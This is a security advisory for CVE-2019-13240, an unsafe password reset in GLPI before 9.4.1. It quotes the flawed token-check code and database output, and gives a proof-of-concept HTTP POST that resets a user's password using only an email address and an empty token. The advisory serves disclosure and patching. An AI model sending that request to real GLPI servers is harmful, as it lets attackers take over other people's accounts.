ASA-2019-00475 – GLPI: Unsafe password reset


Allele Security Alert

ASA-2019-00475

Identifier(s)

ASA-2019-00475, CVE-2019-13240

Title

Unsafe password reset

Vendor(s)

GLPI Project

Product(s)

GLPI

Affected version(s)

GLPI 9.x before version 9.4.1

Fixed version(s)

GLPI version 9.4.1

Proof of concept

Yes

Description

It has been discovered that the password reset feature is not safe. Indeed, after a successful password reset by a user, it is possible to change again his password during 24 hours without any knowledge except his email address.

Technical details

When a user asks for a password reset, a token is generated and stored in the database with the date:

public function forgetPassword($email) { 
[…] 
$input = [ 
    'password_forget_token' => sha1(Toolbox::getRandomString(30)), 
    'password_forget_token_date' => $_SESSION["glpi_currenttime"], 
    'id' => $this->fields['id'], 
]; 
$this->update($input);

The token is then valid for 24 hours before being invalidated. The check is performed in the function updateForgottenPassword:

public function updateForgottenPassword(array $input) {
[...]
if (($input['password_forget_token'] == $this->fields['password_forget_token'])
 && (abs(strtotime($_SESSION["glpi_currenttime"])
 -strtotime($this->fields['password_forget_token_date'])) < DAY_TIMESTAMP)) {
 $input['id'] = $this->fields['id'];
 Config::validatePassword($input["password"], false); // Throws exception if password is invalid
 if (!$this->update($input)) {
     return false;
 }
 $input2 = [
     'password_forget_token' => ' ',
     'password_forget_token_date' => null,
     'id' => $this->fields['id']
 ];
 $this->update($input2);
 return true;
[...]

As can be seen, after the password update, the token and the date are reset. But in fact, only the token is reset but the date is still in the database:

MariaDB [glpi]> select id,password_forget_token,password_forget_token_date from glpi_users;
+----+----------------------------------------------------------------------+-------------------------------------------+
| id |password_forget_token                                            | password_forget_token_date |
+----+----------------------------------------------------------------------+-------------------------------------------+
[...]
| 5 |72eeb8be4913d588b97cb14e12144f298882c0a3| 2019-02-22 16:04:18                 |
+----+---------------------------------------------------------------------+--------------------------------------------+
[…]
MariaDB [glpi]> select id,password_forget_token,password_forget_token_date from glpi_users;
+----+------------------------------------+-------------------------------------------+
| id | password_forget_token | password_forget_token_date |
+----+------------------------------------+-------------------------------------------+
[...]
| 5 |                                              | 2019-02-22 16:04:18               |
+----+------------------------------------+-------------------------------------------+

This means that the condition to update the password can be true if the token is empty and the password can be updated such as:

POST /front/lostpassword.php HTTP/1.1 
[…] 
email=test %40test.com&password=aaa&password2=aaa&password_forget_token=&update=Save&_glpi_csrf_token= 64335fa587833cf85ae80e1cc92e03c3 

HTTP/1.1 200 OK 
[…]
<div class='center'>Reset password successful.<br>
[…]

Credits

Julien Legras (Synacktiv)

Reference(s)

Unsafe password reset in GLPI <9.4.1
https://www.synacktiv.com/ressources/advisories/GLPI_9.4.0_unsafe_reset.pdf

Fix password forget token check; fixes #5386
https://github.com/glpi-project/glpi/commit/5da9f99b2d81713b1e36016b47ce656a33648bc7

Password token date was not removed
https://github.com/glpi-project/glpi/commit/86a43ae47b3dd844947f40a2ffcf1a36e53dbba6

[9.4] Lost password #5386
https://github.com/glpi-project/glpi/issues/5386

CVE-2019-13240
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-13240

CVE-2019-13240
https://nvd.nist.gov/vuln/detail/CVE-2019-13240

If there is any error in this alert or you wish a comprehensive analysis, let us know.

Last modified: August 3, 2019

We are not responsible for any data loss, device corruption or any other type of issue due to the use of any information mentioned in our security alerts.